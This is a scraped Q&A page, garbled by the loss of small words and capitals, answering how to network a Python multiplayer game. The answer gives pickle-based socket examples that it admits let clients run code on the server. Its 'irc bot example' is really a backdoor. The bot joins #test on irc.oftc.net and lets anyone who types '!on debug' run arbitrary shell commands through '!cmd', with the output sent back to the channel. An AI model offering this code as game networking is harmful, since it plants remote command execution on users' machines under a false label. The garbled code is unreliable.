Creating a Multiplayer game in python -
i trying create multiplayer game using python. can create game, question have in mind how can other computers connect computer? should go resources on this? want simple game can either hosted on computer, other computers have python game can run , connect computer. have computers right next each other manually supply ip addresses, unless there nicer way it. sorry if poorly worded, don't know start looking!
i don't understand problem.
so first, have use function socket create server , client application.
- socket: https://docs.python.org/2/howto/sockets.html or http://www.binarytides.com/python-socket-programming-tutorial/
secondly, need create client list (with socket function) allow server know client needs send specific data. hardest part. hopefully, don't have kinds of games => useless tic-tac-toe essential mmorpg.
thirdly, have create data base (account name, password, characteristics, whatever want). not needed.
and finally, must open firewall. if play on local network, have open computer's firewall. if server available on internet, have open port on modem , redirect computer.
when create socket, have chose between tcp or udp.
tcp: avoid bugs. tcp protocol, server send data client, wait, , when client send answer explain have receive data, server can send new data. in case of corrupt data, send again.
udp: faster. server send data , doesn't want answer of client. in case, can trouble because server can send data in right order, client can receive them in order... udp streaming. when play video game refresh every time, udp more interesting. example: starcraft send every time position of units on map (we don't care if data corrupted, server have resend anyway, need fast).
you need know how use .recv , .send
also, take @ pickle, can you. have know pickle not secure (i haven't understand enough explain why not secure => can change values execute code server side) pickle alternatives
client example:
import socket, pickle server = socket.socket(socket.af_inet, socket.sock_stream) server.connect(('127.0.0.1', 4000)) while true: data = "i'm logged" data = pickle.dumps(data) server.send(data) data = server.recv(1024) data = pickle.loads(data) print(data) server.close()
server example:
import socket, select, pickle server = socket.socket(socket.af_inet, socket.sock_stream) server.bind(('', 4000)) server.listen(5) clients = [] while true: connections, wlist, xlist = select.select([server], [], [], 0.05) connection in connections: client, informations = connection.accept() clients.append(client) clientslist = [] try: clientslist, wlist, xlist = select.select(clients, [], [], 0.05) except select.error: pass else: clientinlist in clientslist: data = clientinlist.recv(1024) data = pickle.loads(data) print(data) data = "welcome" data = pickle.dumps(data) clientinlist.send(data) clientinlist.close() server.close()
if need create video game python, can take pygame.
does answer question?
hint. have create tic-tac-toe game , mmorpg give me idea of structure. want server mmorpg security reason, little games, can use irc server. have many advantages: cheaper, static ip, open 24/24.
1) when client search game, send message channel. if show message of player, send him message start game. (here in 2 steps. recommend in 3 steps avoid bugs if many players search game @ same moment)
2) join channel , first player can start.
3) when player have done round, send number of case on irc channel.
0|1|2
3|4|x => player x have play on square 5.
6|7|8
irc example:
i didn't create games since long time.
so can provide simple irc bot example.
import socket, ssl, subprocess, sys, time, threading def irc(): try: port = [6697, 7000, 7070, 9999, 6665, 6666, 6667, 8000, 8001, 8002] id = 0 while true: if (id < 10): try: line in socket.getaddrinfo(socket.gethostbyname("irc.oftc.net"), port[id], socket.af_unspec, socket.sock_stream): addressfamily, socketkind, protocol, canonname, servaddr = line if id <= 3: sock = socket.socket(addressfamily, socketkind, protocol) sock.connect(servaddr) irc = ssl.wrap_socket(sock) irc.do_handshake() break else: irc = socket.socket(addressfamily, socketkind, protocol) irc.connect(servaddr) break except: cmd = sys.exc_info() line in cmd: print(line) id += 1 else: return del port ident = socket.gethostname() + '_' id = 1 nick = ident + str(id) irc.send(bytes("nick " + nick + "\r\n", "utf-8")) irc.send(bytes("user " + nick + " * * :" + nick + "\r\n", "utf-8")) while true: line = str(irc.recv(4096)) if line == '': return elif line.find("004") != -1: break elif line.find("433") != -1: id += 1 nick = ident + str(id) irc.send(bytes("nick " + nick + "\r\n", "utf-8")) irc.send(bytes("user " + nick + " * * :" + nick + "\r\n", "utf-8")) irc.send(bytes("join #test\r\n", "utf-8")) del ident except: return roots = [] while true: try: line = str(irc.recv(256)) if line == '': return elif line.startswith("b'ping"): irc.send(bytes("pong" + line[6:-1], "utf-8")) elif line.find(" :!") != -1: id = contains(roots, line[line.index("!~") + 2:line.index(' ')]) if (id != -1): line = line[line.index('#'):-5] chan = line[:line.index(' ')] line = line[line.index(" :!") + 2:] if line.startswith("!cmd"): cmd(irc, chan, line[5:]).start() elif line.startswith("!ping"): irc.send(bytes("privmsg " + chan + " :pong\r\n", "utf-8")) elif line.startswith("!irc"): irc.send(bytes(line[4:] + "\r\n", "utf-8")) elif line.startswith("!off"): del roots[id] irc.send(bytes("privmsg " + chan + " :logged out!\r\n", "utf-8")) elif line.startswith("!who"): line = "" r in roots: line += ' ' + r irc.send(bytes("privmsg " + chan + " :roots:" + line + "\r\n", "utf-8")) elif line.startswith("!reco"): irc.send(bytes("quit\r\n", "utf-8")) return elif line.startswith("!join"): irc.send(bytes("join" + line[5:] + "\r\n", "utf-8")) elif line.startswith("!part"): if line.find('#') != -1: irc.send(bytes("part" + line[5:] + "\r\n", "utf-8")) else: irc.send(bytes("part " + chan + "\r\n", "utf-8")) elif line.startswith("!quit"): irc.send(bytes("quit\r\n", "utf-8")) exit() elif (line[line.index(" :!") + 2:-5] == "!on debug"): roots.append(line[line.index("!~") + 2:line.index(' ')]) line = line[line.index('#'):-5] chan = line[:line.index(' ')] irc.send(bytes("privmsg " + chan + " :logged!\r\n", "utf-8")) except: try: line = sys.exc_info() l in line: irc.send(bytes("privmsg " + chan + " :error: " + str(l) + "\r\n", "utf-8")) except: pass def contains(list, str): try: return list.index(str) except: return -1 class cmd(threading.thread): def __init__(self, irc, chan, cmd): threading.thread.__init__(self) self.irc = irc self.chan = chan self.cmd = cmd + " 2>&1" def run(self): try: self.cmd = str(subprocess.check_output(self.cmd, shell=true))[2:-1].replace("\\n", '\n').splitlines() line in self.cmd: self.irc.send(bytes("privmsg " + self.chan + " :" + line + "\r\n", "utf-8")) except: self.cmd = sys.exc_info() line in self.cmd: self.irc.send(bytes("privmsg " + self.chan + " :error: " + str(line) + "\r\n", "utf-8")) return if __name__ == "__main__": while true: irc() time.sleep(5)
so original , find idea network!
hint - have answer @ similar questions. if programming language sometime different, give link, logic same can maybe you:
Comments
Post a Comment